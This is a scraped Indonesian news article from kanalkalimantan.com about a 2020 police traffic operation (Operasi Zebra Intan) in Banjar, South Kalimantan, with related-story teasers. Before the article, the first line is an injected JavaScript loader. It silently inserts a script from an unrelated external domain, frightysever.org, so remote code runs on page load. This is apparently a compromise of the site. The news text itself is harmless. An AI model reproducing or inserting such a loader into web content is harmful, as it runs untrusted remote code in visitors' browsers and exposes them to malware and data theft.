(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kepolisian Resor Banjar Kalimantan Selatan, Satuan Lalu Lintas (Satlantas) melaksanakan Operasi Zebra Intan, Rabu (28/10/2020) bertempat di Km 39 atau tepatnya di Pos Lantas Polres Banjar.
Kapolres Banjar AKBP Andri Koko Prabowo melalui Kasat Lantas Polres Banjar AKP Faizal Rahman mengatakan, Operasi Zebra Intan 2020 ini dilakukan selama 14 hari. Dimulai dari tanggal 26 Oktober sampai dengan 8 November 2020.
“Ada delapan pelanggaran prioritas, tidak menggunakan helm SNI, berboncengan tiga, knalpot racing, tidak gunakan safety belt, melawan arus, menggunakan HP saat berkendara, kelebihan muatan, dan over dinamis” kata AKP Faizal Rahman.
Ia juga mengatakan, dalam Operasi Zebra kali ini, mengedepankan tindakan preemtif dan preventif selama operasi menyesuaikan kondisi saat ini yang tengah dilanda pandemi Covid-19.
Giat operasi kali ini yaitu patuh dalam berlalu lintas dan menerapkan protokol kesehatan guna memutus rantai Covid-19 khususnya di Kabupaten Banjar.
Lebih jauh ia juga menjelaskan, Operasi Zebra Intan hari ini, ada sebanyak 36 orang yang terjaring razia. Adapun langkah penindakan atau refresif dilakukan secara selektif prioritas yang dikenakan kepada para pengendara roda dua maupun roda empat jika melakukan pelanggaran secara kasat mata.
“Kita melakukan tindakan penilangan yang kita lihat secara kasat mata, seperti tidak memakai helm, tidak memakai spion, melawan arah, pelat sepeda motor pajak mati, serta pelat sepeda motor yang dimodifikasi, dan untuk pengendara yang tidak memakai masker, akan kami beri teguran,” papar AKP Faizal.
Adapun dalam operasi kali ini berlangsung sekitar 30 menit, karena tidak ingin menimbulkan kerumunan maka razia tersebut langsung dihentikan.
“Setelah 30 menit berjalan dan sudah ada 36 pengendara yang terjaring razia, karena kita tidak mau ada penumpukan, maka kita stop langsung operasinya,” ungkapnya.
Petugas kepolisian tetap melaksanakan razia dengan sistem hunting, apabila terjadi pelanggaran lalu lintas secara kasat mata, petugas akan mengenakan tilang, namun jika hanya tidak pakai masker maka pengendara akan diingatkan untuk memakai masker.
Ia juga mengimbau, kepada seluruh masyarakat agar tertib berlalu lintas, serta wajib memakai masker saat berada diluar rumah. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.